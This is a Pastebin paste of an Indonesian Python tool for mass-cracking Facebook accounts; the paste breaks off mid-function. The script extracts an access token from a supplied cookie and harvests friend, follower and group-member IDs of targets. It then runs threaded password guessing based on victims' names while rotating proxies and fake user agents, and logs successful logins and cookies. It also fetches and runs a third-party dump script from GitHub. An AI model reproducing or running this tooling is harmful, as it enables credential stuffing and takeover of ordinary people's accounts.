Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #-----------------[ IMPORT-MODULE ]-------------------
- import requests,bs4,json,os,sys,random,datetime,time,re
- import urllib3,rich,base64
- from rich.table import Table as me
- from rich.console import Console as sol
- from bs4 import BeautifulSoup as sop
- from concurrent.futures import ThreadPoolExecutor as tred
- from rich.console import Group as gp
- from rich.panel import Panel as nel
- from rich import print as cetak
- from rich.markdown import Markdown as mark
- from rich.columns import Columns as col
- from rich import print as rprint
- from rich import pretty
- from rich.text import Text as tekz
- pretty.install()
- CON=sol()
- #------------------[ USER-AGENT ]-------------------#
- ugen2=[]
- ugen=[]
- cokbrut=[]
- ses=requests.Session()
- princp=[]
- try:
- prox= requests.get('https://github.com/Chigozieworldwide/XFORD/blob/main/socks5.txt').text
- open('.socks5.txt','w').write(prox)
- except Exception as e:
- print('')
- prox=open('.socks5.txt','r').read().splitlines()
- for xd in range(10000):
- a='Mozilla/5.0 (Symbian/3; Series60/'
- b=random.randrange(1, 9)
- c=random.randrange(1, 9)
- d='Nokia'
- e=random.randrange(100, 9999)
- f='/110.021.0028; Profile/MIDP-2.1 Configuration/CLDC-1.1 ) AppleWebKit/535.1 (KHTML, like Gecko) NokiaBrowser/'
- g=random.randrange(1, 9)
- h=random.randrange(1, 4)
- i=random.randrange(1, 4)
- j=random.randrange(1, 4)
- k='Mobile Safari/535.1'
- uaku=(f'{a}{b}.{c} {d}{e}{f}{g}.{h}.{i}.{j} {k}')
- ugen2.append(uaku)
- aa='Mozilla/5.0 (Linux; Android 9;'
- b=random.choice(['6','7','8','9','10','11','12'])
- c='TECNO KC3 Build/PPR1.180610.011; wv)'
- d=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'])
- e=random.randrange(1, 999)
- f=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'])
- g='AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/108.0.5359.128'
- h=random.randrange(73,100)
- i='0'
- j=random.randrange(4200,4900)
- k=random.randrange(40,150)
- l='Mobile Safari/537.36'
- uaku2=f'{aa} {b}; {c}{d}{e}{f}) {g}{h}.{i}.{j}.{k} {l}'
- ugen.append(uaku2)
- for x in range(10):
- a='Mozilla/5.0 (Linux; Android 9; TECNO KC3 Build/PPR1.180610.011; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/108.0.5359.128 Mobile Safari/537.36[FBAN/EMA;FBLC/en_US;FBAV/338.0.0.10.102;]'
- #a='Mozilla/5.0 (Linux; Android 5.1.1; Redmi 3 Build/LMY47V; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/57.0.2987.132 MQQBrowser/6.2 TBS/043910 Mobile Safari/537.36 V1_AND_SQ_7.5.0_794_YYB_D QQ/7.5.0.3430 NetType/WIFI WebP/0.3.0 Pixel/7#20NULL'
- # a='Mozilla/5.0 (Linux; U; Android 7.1.2; en-US; Redmi 5A Build/N2G47H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/78.0.3904.108 UCBrowser/13.3.8.1305 Mobile Safari/537.36'
- # a='Mozilla/5.0 (Linux; Android 9; ASUS_A001D Build/PPR1; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/109.0.5414.85 Mobile Safari/537.36'
- uak=f'{a}'
- def uaku():
- try:
- ua=open('AllUa','r').read().splitlines()
- for ub in ua:
- ugen.append(ub)
- except:
- a=requests.get('https://github.com/BlackB07/UserAgent/blob/main/AllUa').text
- ua=open('.AllUa','w')
- aa=re.findall('line">(.*?)<',str(a))
- for un in aa:
- ua.write(un+'\n')
- ua=open('.AllUa','r').read().splitlines()
- #------------[ INDICATION ]---------------#
- id,id2,loop,ok,cp,akun,oprek,method,lisensiku,taplikasi,tokenku,uid,lisensikuni= [],[],0,0,0,[],[],[],[],[],[],[],[]
- cokbrut=[]
- pwpluss,pwnya=[],[]
- #------------[ WARNA-COLOR ]--------------#
- P = '\x1b[1;97m'
- M = '\x1b[1;91m'
- H = '\x1b[1;92m'
- K = '\x1b[1;93m'
- B = '\x1b[1;94m'
- U = '\x1b[1;95m'
- O = '\x1b[1;96m'
- N = '\x1b[0m'
- Z = "\033[1;30m"
- sir = '\033[41m\x1b[1;97m'
- x = '\33[m' # DEFAULT
- m = '\x1b[1;91m' #RED +
- k = '\033[93m' # KUNING +
- h = '\x1b[1;92m' # HIJAU +
- hh = '\033[32m' # HIJAU -
- u = '\033[95m' # UNGU
- kk = '\033[33m' # KUNING -
- b = '\33[1;96m' # BIRU -
- p = '\x1b[0;34m' # BIRU +
- asu = random.choice([m,k,h,u,b])
- #--------------------[ CONVERTER-BULAN ]--------------#
- dic = {'1':'January','2':'February','3':'March','4':'April','5':'May','6':'June','7':'July','8':'August','9':'September','10':'October','11':'November','12':'December'}
- dic2 = {'01':'January','02':'February','03':'March','04':'April','05':'May','06':'June','07':'July','08':'August','09':'September','10':'October','11':'November','12':'Devember'}
- tgl = datetime.datetime.now().day
- bln = dic[(str(datetime.datetime.now().month))]
- thn = datetime.datetime.now().year
- okc = 'OK-'+str(tgl)+'-'+str(bln)+'-'+str(thn)+'.txt'
- cpc = 'CP-'+str(tgl)+'-'+str(bln)+'-'+str(thn)+'.txt'
- #------------------[ MACHINE-SUPPORT ]---------------#
- def moch_lux(u):
- for e in u + "\n":sys.stdout.write(e);sys.stdout.flush();time.sleep(0.005)
- def clear():
- os.system('clear')
- def back():
- login()
- #------------------[ LOGO-LAKNAT ]-----------------#
- def banner():
- clear()
- print(f"""{P}
- \t888 888 888 8888888
- \t888 888 888 888
- \t888 888 888 888
- \t888 8888888888 888
- \t888 888 888 888
- \t888 888 888 888
- \t888 888 888 888
- \t88888888 888 888 8888888 {H}DEV{P}""")
- print('--------------------------------------------------')
- print(f'[-] Author : LUXINE')
- print(f'[-] Facebook : LUXINE INDAH')
- print(f'[-] Toll : Private')
- print(f'[-] Version : 1.0.0')
- print('--------------------------------------------------')
- #print(f"""{P}\t
- #t888 888 888 8888888
- #\t888 888 888 888 t888 888 #888 888
- #888 8888888888 888
- #888 888 888 888
- #888 888 888 888
- #888 888 888 888
- #88888888 888 888 8888888
- # 888 888 888 8888888
- #888 888 888 888
- #888 888 888 888
- #888 8888888888 888
- #888 888 888 888
- #888 888 888 888
- #888 888 888 888
- #88888888 888 888 8888888
- # print(f'{P}[{H}✓{P}] AUTHOR : LUXINE-DEV')
- # print(f"{P}[{H}✓{P}] GITHUB : LUXINE-DEV17")
- # print(f'{P}[{H}✓{P}] WA : 0896908****')
- # print(f'{P}[{H}✓{P}] STATUS : PAID')
- #--------------------[ BAGIAN-MASUK ]--------------#
- def login():
- try:
- token = open('.tok.txt','r').read()
- cok = open('.cok.txt','r').read()
- tokenku.append(token)
- try:
- sy = requests.get('https://graph.facebook.com/me?fields=id,name&access_token='+tokenku[0], cookies={'cookie':cok})
- sy2 = json.loads(sy.text)['name']
- sy3 = json.loads(sy.text)['id']
- menu()
- except KeyError:
- login_lagi334()
- except requests.exceptions.ConnectionError:
- li = '# PROBLEM INTERNET CONNECTION, CHECK AND TRY AGAIN'
- lo = mark(li, style='red')
- sol().print(lo, style='cyan')
- exit()
- except IOError:
- login_lagi334()
- def login_lagi334():
- try:
- os.system('clear')
- banner()
- cookie=input(f'{P}[?] COOKIE : ')
- data = requests.get("https://business.facebook.com/business_locations", headers = {"user-agent": "Mozilla/5.0 (Linux; Android 6.0.1; Redmi 4A Build/MMB29M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.92 Mobile Safari/537.36","referer": "https://www.facebook.com/","host": "business.facebook.com","origin": "https://business.facebook.com","upgrade-insecure-requests" : "1","accept-language": "id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7","cache-control": "max-age=0","accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*[inserted by cython to avoid comment closer]/[inserted by cython to avoid comment start]*;q=0.8","content-type":"text/html; charset=utf-8"}, cookies = {"cookie":cookie})
- find_token = re.search("(EAAG\w+)", data.text)
- ken=open(".tok.txt", "w").write(find_token.group(1))
- cok=open(".cok.txt", "w").write(cookie)
- except Exception as e:
- os.system("rm -f .tok.txt")
- os.system("rm -f .cok.txt")
- def login_appendi():
- try:
- token = open('.tok.txt','r').read()
- cok = open('.cok.txt','r').read()
- tokenku.append(token)
- try:
- _belajar_dulu_baru_ngoding = requests.get('https://graph.facebook.com/me?fields=id,name&access_token='+tokenku[0], cookies={'cookie':cok})
- menu()
- except KeyError:
- login_append()
- except requests.exceptions.ConnectionError:
- exit()
- except IOError:
- login_append()
- def login_append():
- try:
- os.system('clear')
- banner()
- ses = requests.Session()
- print(f'{B}• {P}1. crack file')
- print(f'{B}• {P}2. login cookie')
- menuxc = input(f'{B}• {P}Pilih : ')
- if menuxc in['1','01']:
- _luxine_file()
- else:
- print('')
- cookie = input(f'\n{B}• {P}masukan cookie : ')
- cookies = {'cookie':cookie}
- url = 'https://www.facebook.com/adsmanager/manage/campaigns'
- req = ses.get(url,cookies=cookies)
- set = re.search('act=(.*?)&nav_source',str(req.content)).group(1)
- nek = '%s?act=%s&nav_source=no_referrer'%(url,set)
- roq = ses.get(nek,cookies=cookies)
- tok = re.search('accessToken="(.*?)"',str(roq.content)).group(1)
- tokenw = open(".tok.txt", "w").write(tok)
- cokiew = open(".cok.txt", "w").write(cookie)
- print(f'\n{B}• {P}login berhasil ')
- ketix = input(f'{B}• {P}ketik {H}open {P}untuk masuk kedalam menu : ')
- if open in ['open','Open','OPEN']:
- login_appendi()
- else:
- login_appendi()
- except Exception as e:
- os.system("rm -f .tok.txt")
- os.system("rm -f .cok.txt")
- print(f'{B}• {P}login error')
- exit()
- #------------------[ BAGIAN-MENU ]----------------#
- def menu():
- try:
- token = open('.tok.txt','r').read()
- cok = open('.cok.txt','r').read()
- except IOError:
- time.sleep(5)
- login_lagi334()
- os.system('clear')
- banner()
- ip = requests.get("https://api.ipify.org").text
- # print(''")
- namax = input(f'{P} Nama Kamu Siapa : ')
- os.system('clear')
- banner()
- print(f'------[ WELCOME {K}{namax}{P} ]------')
- print(' [1] File cloning')
- print(' [2] Dump file')
- print(' [0] Exit menu')
- print('--------------------------------------------------')
- # cetak(nel("""[white][[blue]01[white]]. CRACK PERTEMENAN
- #[white][[blue]02[white]]. CRACK FOLLWER
- #[white][[blue]03[white]]. CRACK FILE
- #[white][[blue]04[white]]. CRACK GRUP
- #[white][[blue]05[white]]. CRACK RANDOM ID
- #[white][[blue]06[white]]. CLONE 2009-2015
- #[white][[blue]07[white]]. MENU [green]BOT[white]
- #[white][[blue]08[white]]. Kembali"""))
- obf_x = input('\n Choose an option: ')
- os.system(f'xdg-open http://wa.me/6289669084331?text=Bang+save+{namax}+ya+bang')
- if obf_x in ['1','01']:
- rking()
- elif obf_x in ['2','02']:
- print('-> mohon menunngu 1-3 menit untuk masuk ke dalam menu dump.... >')
- os.system('git clone https://github.com/MAHADI-143/DUMP.git')
- os.system('cd DUMP')
- print('-> otw ke menu ->')
- os.system('python3 FILE-DUMP.py')
- elif obf_x in ['3','03']:
- error()
- elif obf_x in ['4','04']:
- krek_grup()
- elif obf_x in ['5','05']:
- error()
- elif obf_x in ['00','0']:
- word = input(f'[?]apakah anda ingin menghapus cookie anda (y/t) : ')
- if word in ['t','T']:
- exit()
- else:
- os.system('rm -rf .tok.txt')
- os.system('rm -rf .cok.txt')
- exit()
- else:
- back()
- def haykrek():
- print("")
- cetak(nel("""[white]KETIK [green]y [white]JIKA INGIN CRACK MASSAL KETIK [red]t [white]UNTUK CRACK PUBLIK"""))
- sayangkamuz = input(f'{P}└──> apakah anda ingin crack massal : ')
- if sayangkamuz in ['y','Y']:
- eaku()
- elif sayangkamuz in ['t','T']:
- _publik_()
- def error():
- cetak(nel("""[white]halo maaf anda tidak dapet memakai menu ini karna anda bukan daftar dari oranh premium"""))
- time.sleep(4)
- back()
- #-----------------[ HASIL-CRACK ]-----------------#
- def result():
- print('>> Hasil OK Anda ')
- print('>> Hasil CP Anda ')
- print('>> Kembali ')
- kz = input('\n>> Pilih : ')
- if kz in ['1','01']:
- try:vin = os.listdir('CP')
- except FileNotFoundError:
- print('>> File Tidak Di Temukan ')
- time.sleep(3)
- back()
- if len(vin)==0:
- print('>> Anda Tidak Memiliki Hasil CP ')
- time.sleep(2)
- back()
- else:
- cih = 0
- lol = {}
- for isi in vin:
- try:hem = open('CP/'+isi,'r').readlines()
- except:continue
- cih+=1
- if cih<10:
- nom = '0'+str(cih)
- lol.update({str(cih):str(isi)})
- lol.update({nom:str(isi)})
- print('['+nom+'] '+isi+' [ '+str(len(hem))+' Account ]'+x)
- else:
- lol.update({str(cih):str(isi)})
- print('['+str(cih)+'] '+isi+' [ '+str(len(hem))+' Account ]'+x)
- geeh = input('\n>> Pilih : ')
- try:geh = lol[geeh]
- except KeyError:
- print('>> Pilih Yang Bener Kontol ')
- exit()
- try:lin = open('CP/'+geh,'r').read().splitlines()
- except:
- print('>> File Tidak Di Temukan ')
- time.sleep(2)
- back()
- nocp=0
- for cpku in range(len(lin)):
- cpkuni=lin[nocp].split('|')
- cpkuh=f'# ID : {cpkuni[0]} PASSWORD : {cpkuni[1]}'
- sol().print(mark(cpkuh,style="yellow"))
- nocp +=1
- input('[ Klik Enter ]')
- back()
- elif kz in ['2','02']:
- try:vin = os.listdir('OK')
- except FileNotFoundError:
- print('>> File Tidak Di Temukan ')
- time.sleep(2)
- back()
- if len(vin)==0:
- print('>> Anda Tidak Mempunyai File OK ')
- time.sleep(2)
- back()
- else:
- cih = 0
- lol = {}
- for isi in vin:
- try:hem = open('OK/'+isi,'r').readlines()
- except:continue
- cih+=1
- if cih<100:
- nom = '0'+str(cih)
- lol.update({str(cih):str(isi)})
- lol.update({nom:str(isi)})
- print('['+nom+'] '+isi+' [ '+str(len(hem))+' Account ]'+x)
- else:
- lol.update({str(cih):str(isi)})
- print('['+str(cih)+'] '+isi+' [ '+str(len(hem))+' Account ]'+x)
- geeh = input('\n>> Pilih : ')
- try:geh = lol[geeh]
- except KeyError:
- print('>> Pilih Yang Bener Kontol ')
- exit()
- try:lin = open('OK/'+geh,'r').read().splitlines()
- except:
- print('>> File Tidak Di Temukan ')
- time.sleep(2)
- back()
- nocp=0
- for cpku in range(len(lin)):
- cpkuni=lin[nocp].split('|')
- cpkuh=f'# ID : {cpkuni[0]} PASSWORD : {cpkuni[1]}'
- sol().print(mark(cpkuh,style="green"))
- print(f'{hh}COOKIE : {x}{cpkuni[2]}')
- nocp +=1
- input('[ Klik Enter ]')
- back()
- elif kz in ['0','00']:
- back()
- else:
- print('>> Pilih Yang Bener Kontol ')
- exit()
- def _publik_():
- try:
- token = open('.tok.txt','r').read()
- kukis = open('.cok.txt','r').read()
- except IOError:
- exit()
- pil = input(f'└──> ID/USERNAME : ')
- try:
- koh2 = requests.get('https://graph.facebook.com/v1.0/'+pil+'?fields=friends.limit(5000)&access_token='+tokenku[0],cookies={'cookie': kukis}).json()
- for pi in koh2['friends']['data']:
- try:id.append(pi['id']+'|'+pi['name'])
- except:continue
- print('')
- print(f' TOTAL {H}{len(id)}{P}')
- _lanjut_()
- except requests.exceptions.ConnectionError:
- print(' Internetmu abis')
- exit()
- except (KeyError,IOError):
- print('Pertemanan Tidak Publick')
- exit()
- def _publik_s():
- try:
- token = open('.tok.txt','r').read()
- cok = open('.cok.txt','r').read()
- except IOError:
- print("")
- # exit()
- pil = input(f'└──> ID/USERNAME : ')
- try:
- koh2 = requests.get('https://graph.facebook.com/v1.0/'+pil+'?fields=friends.limit(5000)&access_token='+tokenku[0],cookies={'cookies': cok}).json()
- for pi in koh2['friends']['data']:
- try:id.append(pi['id']+'|'+pi['name'])
- except:continue
- print('')
- print(f' ID {H}{len(id)}{P}')
- atur_id()
- except requests.exceptions.ConnectionError:
- print(' Internetmu abis')
- exit()
- except (KeyError,IOError):
- print('Pertemanan Tidak Publick')
- exit()
- #-------------------[ CRACK-PUBLIK ]----------------#
- def eaku():
- try:
- token = open('.tok.txt','r').read()
- cok = open('.cok.txt','r').read()
- except IOError:
- exit()
- try:
- jum = int(input(f'└──> BERAPA ID : '))
- except ValueError:
- exit()
- if jum<1 or jum>100:
- exit()
- ses=requests.Session()
- yz = 0
- for met in range(jum):
- yz+=1
- kl = input(f'└──> ID {yz} : ')
- uid.append(kl)
- for userr in uid:
- try:
- col = ses.get('https://graph.facebook.com/v2.0/'+userr+'?fields=friends.limit(5000)&access_token='+tokenku[0], cookies = {'cookies':cok}).json()
- for mi in col['friends']['data']:
- try:
- iso = (mi['id']+'|'+mi['name'])
- if iso in id:pass
- else:id.append(iso)
- except:continue
- except (KeyError,IOError):
- pass
- except requests.exceptions.ConnectionError:
- exit()
- try:
- print('')
- print(f'TOTAL ID : {len(id)}')
- _lanjut_()
- except requests.exceptions.ConnectionError:
- print(f'{x}')
- back()
- except (KeyError,IOError):
- print(f'Pertemanan Tidak Public {x}')
- time.sleep(3)
- back()
- #-------------------[ CRACK-PENGIKUT ]----------------#
- def krek_pengikut():
- try:
- token = open('.token.txt','r').read()
- cok = open('.cok.txt','r').read()
- except IOError:
- exit()
- pil = input('└──> Masukkan Idz Target : ')
- try:
- koh2 = requests.get('https://graph.facebook.com/'+pil+'?fields=subscribers.limit(99999)&access_token='+tokenku[0],cookies={'cookie': cok}).json()
- for pi in koh2['subscribers']['data']:
- try:id.append(pi['id']+'|'+pi['name'])
- except:continue
- setting()
- except requests.exceptions.ConnectionError:
- print('>> Koneksi Internet Bermasalah ')
- exit()
- except (KeyError,IOError):
- print('>> Gagal Mengambil Target ')
- exit()
- #------------------[ CRACK-GRUP ]-----------------#
- balmond = b+"["+h+"✓"+b+"]"
- def lah():
- print(f'TOTAL ID : {len(id)}')
- pass
- _lanjut_()
- def krek_grup():
- print('')
- id = input(f'{P}└──> ID/URL GRUP : ')
- ua = 'Mozilla/5.0 (SymbianOS/9.3; Series60/3.2 NokiaE52-1/052.003; Profile/MIDP-2.1 Configuration/CLDC-1.1 ) AppleWebKit/525 (KHTML, like Gecko) Version/3.0 BrowserNG/7.2.6.2 3gpp-gba'
- miskinlu = {"user-agent": ua}
- url = "https://mbasic.facebook.com/groups/"+id
- ses = requests.Session()
- try:
- gn = parser(ses.get(url, headers=miskinlu).text, 'html.parser')
- except requests.exceptions.ConnectionError:
- print(balmond+m+" Koneksi Internet Terputus..")
- time.sleep(0.5)
- exit()
- berr = gn.find("title")
- berr2 = berr.text.replace(" | Facebook","").replace(" Grup Publik","")
- if berr2=='Masuk Facebook':
- print(balmond+m+" Limit, Silahkan Mode Pesawat Dan Coba Lagi..")
- time.sleep(0.5)
- crack_grup()
- elif berr2=='Kesalahan':
- jalan(balmond+m+" Grup Tidak Ditemukan..")
- time.sleep(0.5)
- crack_grup()
- else:pass
- print(""+balmond+p+" \x1b[1;94m>> Nama Grup :\x1b[1;97m "+berr2)
- ggs = gn.find_all('table')
- ang = []
- for ff in ggs:
- anggo = ff.text
- bro = anggo.replace('Anggota','')
- try:
- mex = int(bro)
- jumlah = ang.append(mex)
- except:
- pass
- if len(ang)==0:
- print(balmond+h+" Anggota : -")
- else:
- print(balmond+h+" \x1b[1;94m MEMBER :\x1b[1;97m "+str(ang[0]))
- grup1(url)
- def grup1(urls):
- use = []
- ses = requests.Session()
- while True:
- try:
- ua = 'Mozilla/5.0 (SymbianOS/9.3; Series60/3.2 NokiaE52-1/052.003; Profile/MIDP-2.1 Configuration/CLDC-1.1 ) AppleWebKit/525 (KHTML, like Gecko) Version/3.0 BrowserNG/7.2.6.2 3gpp-gba'
- miskinlu = {"user-agent": ua}
- try:
- url = use[0]
- except:
- url = urls
- set = parser(ses.get(url, headers=miskinlu).text, "html.parser")
- bf2 = set.find_all('a')
- for g in bf2:
- css = str(g).split('>')
- if 'Lihat Postingan Lainnya</span' in css:
- bcj = str(g).replace('<a href="','').replace('amp;','')
- bcj2 = bcj.split(' ')[0].replace('"><img','')
- tes = set.find_all('table')
- for cari in tes:
- liatnih = cari.text
- spl = liatnih.split(' ')
- if 'mengajukan' in spl:
- idsiapa = re.findall('content_owner_id_new.\w+',str(cari))
- idyou = idsiapa[0].replace('content_owner_id_new.','')
- namayou = liatnih.replace(' mengajukan pertanyaan .','')
- idku = idyou+'|'+namayou
- if idku in id:
- continue
- else:
- id.append(idku)
- print(("\r"+balmond+h+" { "+k+"Proses Mengambil ID "+str(len(id))+h+" }"), end="");sys.stdout.flush()
- elif '>' in spl:
- idsiapa = re.findall('content_owner_id_new.\w+',str(cari))
- idyou = idsiapa[0].replace('content_owner_id_new.','')
- namayou = liatnih.split(' > ')[0]
- idku = idyou+'|'+namayou
- if idku in id:
- continue
- else:
- id.append(idku)
- print(("\r"+balmond+h+" { "+O+"Mengumpulkan ID "+str(len(id))+h+" }"), end="");sys.stdout.flush()
- else:
- continue
- try:
- link_ = bcj2
- use.insert(0,'https://mbasic.facebook.com'+link_)
- except:
- girang = set.find('title')
- girang2 = girang.text.replace(" | Facebook","").replace(" Grup Publik","")
- if girang2=='Masuk Facebook':
- pass
- else:
- lah()
- except requests.exceptions.ConnectionError:
- try:
- time.sleep(31)
- except KeyboardInterrupt:
- lah()
- except KeyboardInterrupt:
- lah()
- #-------------[ CRACK-FROM-FILE ]------------------#
- def crack_file():
- try:vin = os.listdir('DUMP')
- except FileNotFoundError:
- print('>> File Tidak Ditemukan ')
- time.sleep(2)
- back()
- if len(vin)==0:
- print('>> Kamu Tidak Memiliki File Dump ')
- time.sleep(2)
- back()
- else:
- cih = 0
- lol = {}
- for isi in vin:
- try:hem = open('DUMP/'+isi,'r').readlines()
- except:continue
- cih+=1
- if cih<100:
- nom = ''+str(cih)
- lol.update({str(cih):str(isi)})
- lol.update({nom:str(isi)})
- print(f'>> %s. %s ({h} %s{x} idz )'%(nom,isi,len(hem)))
- else:
- lol.update({str(cih):str(isi)})
- print('['+str(cih)+'] '+isi+' [ '+str(len(hem))+' Account ]'+x)
- print('>> %s. %s ({h} %s {x}idz) '%(cih,isi,len(hem)))
- geeh = input('\n>> Pilih : ')
- try:geh = lol[geeh]
- except KeyError:
- print(f'{k}>> Pilih Yang Bener Kontol {x}')
- time.sleep(3)
- back()
- try:lin = open('DUMP/'+geh,'r').read().splitlines()
- except:
- print('>> File Tidak Ditemukan, Coba Lagi Nanti ')
- time.sleep(2)
- back()
- for xid in lin:
- id.append(xid)
- setting()
- #-------------[ PENGATURAN-IDZ ]---------------#
- def _atur_():
- #print(f'{P[01]. crack old')
- print(f'{P}[02]. crack new')
- print('[03]. crack random')
- print('')
- hu = input('└──> Pilih : ')
- if hu in ['1','01']:
- for tua in sorted(id):
- id2.append(tua)
- elif hu in ['2','02']:
- muda=[]
- for bacot in sorted(id):
- muda.append(bacot)
- bcm=len(muda)
- bcmi=(bcm-1)
- for xmud in range(bcm):
- id2.append(muda[bcmi])
- bcmi -=1
- elif hu in ['3','03']:
- for bacot in id:
- xx = random.randint(0,len(id2))
- id2.insert(xx,bacot)
- else:
- exit()
- print('>> 1. Mobile ')
- print('>> 2. Mbasic ')
- print('>> 3. Touch ')
- print('')
- hc = input('>> Pilih : ')
- if hc in ['1','01']:
- method.append('mobile')
- # elif hc in ['2','02']:
- # method.append('free')
- # elif hc in ['3','03']:
- # method.append('touch')
- elif hc in ['4','04']:
- method.append('mbasic')
- else:
- method.append('mobile')
- print('')
- # _jembot_ = input('>> Tambahkan Aplikasi Terkait ( Y/t ) ')
- # if _jembot_ in ['']:
- # print('>> Pilih Yang Bener Kontol ')
- # back()
- # elif _jembot_ in ['y','Y']:
- # taplikasi.append('ya')
- # else:
- # taplikasi.append('no')
- pwplus=input('>> Tambahkan Password Manual ( Y/t ) ')
- if pwplus in ['y','Y']:
- pwpluss.append('ya')
- cetak(nel('[[cyan]•[white]] Masukkan Katasandi Tambahan Minimal 6 Karakter\n[[cyan]•[white]] Contoh :[green] kakak,ngentod,adik[white] '))
- pwku=input('>> Masukkan Password Tambahan : ')
- pwkuh=pwku.split(',')
- for xpw in pwkuh:
- pwnya.append(xpw)
- else:
- pwpluss.append('no')
- passwrd()
- def rking():
- os.system('clear')
- banner()
- try:vin = os.listdir('/sdcard/RKING')
- except FileNotFoundError:
- time.sleep(2)
- back()
- if len(vin)==0:
- print('')
- kontol = input(f'\n{P}ENTER')
- if kontil in ['']:
- time.sleep(3)
- back()
- exit()
- time.sleep(2)
- back()
- else:
- cih = 0
- lol = {}
- for isi in vin:
- try:hem = open('/sdcard/RKING/'+isi,'r').readlines()
- except:continue
- cih+=1
- if cih<100:
- nom = ''+str(cih)
- lol.update({str(cih):str(isi)})
- lol.update({nom:str(isi)})
- print(f'{P} [No]-[{cih}] [Name]-[{isi}] [Id]-[{len(hem)}')
- print('----------------------------------------------')
- # print(f' %s. %s ({h} %s{x} )'%(nom,isi,len(hem)))
- else:
- lol.update({str(cih):str(isi)})
- print('['+str(cih)+'] '+isi+' [ '+str(len(hem))+' Account ]'+x)
- # print(f' [No]-[{cih}] [Name]-[{isi}] [Id]-[{len(hem)}')
- print('----------------------------------------------')
- geeh = input(f' Put file path: ')
- try:geh = lol[geeh]
- except KeyError:
- print("\t")
- time.sleep(3)
- back()
- try:lin = open('/sdcard/RKING/'+geh,'r').read().splitlines()
- except:
- time.sleep(2)
- back()
- for xid in lin:
- id.append(xid)
- _lanjut_()
- #def ua_fb():
- # return ("Mozilla/5.0 (Linux; Android 12; CPH2219 Build/RKQ1.211119.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/109.0.5414.85 Mobile Safari/537.36 [FB_IAB/FB4A;FBAV/397.0.0.23.404;]")
- def _lanjut_():
- for bacot in id:
- xx = random.randint(0,len(id2))
- id2.insert(xx,bacot)
- os.system('clear')
- metodemu = print
- banner()
- print(' Metode Work 98% Ok Login!')
- print('----------------------------------------------')
- metodemu(f'{M} [1]{P} method (m.facebook) {H}(recomended)')
- metodemu(f' {M}[2] {P}method (api.facebook) {H}(no)')
- print(f'{M} [3]{P} method (mbasic facebook) {H}(recomended)')
- hc = input(f' Choose: ')
- print('')
- if hc in ['1','01']:
- method.append('mobile')
- setpw()
- elif hc in ['2','02']:
- method.append('free')
- setpw()
- elif hc in ['03','3']:
- method.append('mobile')
- setpw()
- print('')
- else:
- print('ulang')
- _lanjut_()
- def validate():
- print(f'{P}[{M}01{P}] m.facebook')
- print(f'{P}[{M}02{P}] free.facebook')
- print(f'{P}[{M}03{P}] mbasic.facebook')
- vali = input(f'{B}• {P}validate metode : ')
- if vali in ['1','01']:
- method.append('mobile')
- set_cok()
- elif vali in ['4','04']:
- method.append('cokiees')
- set_cok()
- else:
- method.append('mobile')
- set_cok()
- def reguler():
- print(f'{P}[{M}01{P}] m.facebook')
- print(f'{P}[{M}02{P}] free.facebook')
- print(f'{P}[{M}03{P}] mbasic.facebook')
- reg = input(f'{B}• {P}reguler metode : ')
- method.append('free')
- set_cok()
- def set_cok():
- setpw()
- def api():
- print(f'---------------[ API ]---------------')
- print(f'{P}[{M}01{P}] b-api graph')
- ap = input(f'{B}• {P}Metode : ')
- method.append('free')
- set_cok = input(f'{B}• {P}Tampilkan Cookie : ')
- if set_cok in ['Y','y']:
- method.append('cokiees')
- else:
- setpw()
- def setpw():
- pwzku()
- def pwzku():
- os.system('clear')
- banner()
- print(f'{P} Total Account Id : {H}{len(id)}')
- print(f'{P} PROSES CRACK')
- print('----------------------------------------------')
- with tred(max_workers=30) as pool:
- for yuzong in id2:
- idf,nmf = yuzong.split('|')[0],yuzong.split('|')[1].lower()
- frs = nmf.split(' ')[0]
- pwv = []
- if len(nmf)<6:
- if len(frs)<3:
- pass
- else:
- pwv.append(nmf)
- pwv.append(frs+'123')
- pwv.append(frs+'12345')
- else:
- if len(frs)<3:
- pwv.append(nmf)
- else:
- pwv.append(nmf)
- pwv.append(frs+'123')
- pwv.append(frs+'12345')
- if 'ya' in pwpluss:
- for xpwd in pwnya:
- pwv.append(xpwd)
- else:pass
- if 'mobile' in method:
- pool.submit(crack,idf,pwv)
- elif 'free' in method:
- pool.submit(crackfree,idf,pwv)
- elif 'mbasic' in method:
- pool.submit(crackmbasic,idf,pwv)
- elif 'asyn' in method:
- pool.submit(asyn,idf,pwv)
- elif 'cokiees' in method:
- pool.submit(cok_kie,idf,pwv)
- else:
- pool.submit(crack,idf,pwv)
- print('')
- # print(f'{P}[{H}√{P}] JUMBLAH LIVE :{ok} ')
- # print(f'{P}[{M}×{P}] JUMBLAH CHECK :{cp}')
- print('')
- def passu():
- global prog,des
- print('')
- print(f'{P}[{H}•{P}] RESULT : {h}OK/%s {x}'%(okc))
- print(f'{P}[{M}•{P}] RESULT : {k}CP/%s {x}'%(cpc))
- print('')
- prints(f' Mati/hidupkan Mode terbang 500 id Jika Tidak Ada Hasil\n')
- prog = Progress(SpinnerColumn('clock'),TextColumn('{task.description}'),BarColumn(),TextColumn('{task.percentage:.0f}%'))
- des = prog.add_task('',total=len(id))
- with prog:
- with tred(max_workers=30) as pool:
- for yuzong in id2:
- idf,nmf = yuzong.split('|')[0],yuzong.split('|')[1].lower()
- frs = nmf.split(' ')[0]
- pwv = []
- if len(nmf)<6:
- if len(frs)<3:
- pass
- else:
- pwv.append(nmf)
- pwv.append(frs+'123')
- pwv.append(frs+'1234')
- pwv.append(frs+'12345')
- else:
- if len(frs)<3:
- pwv.append(nmf)
- else:
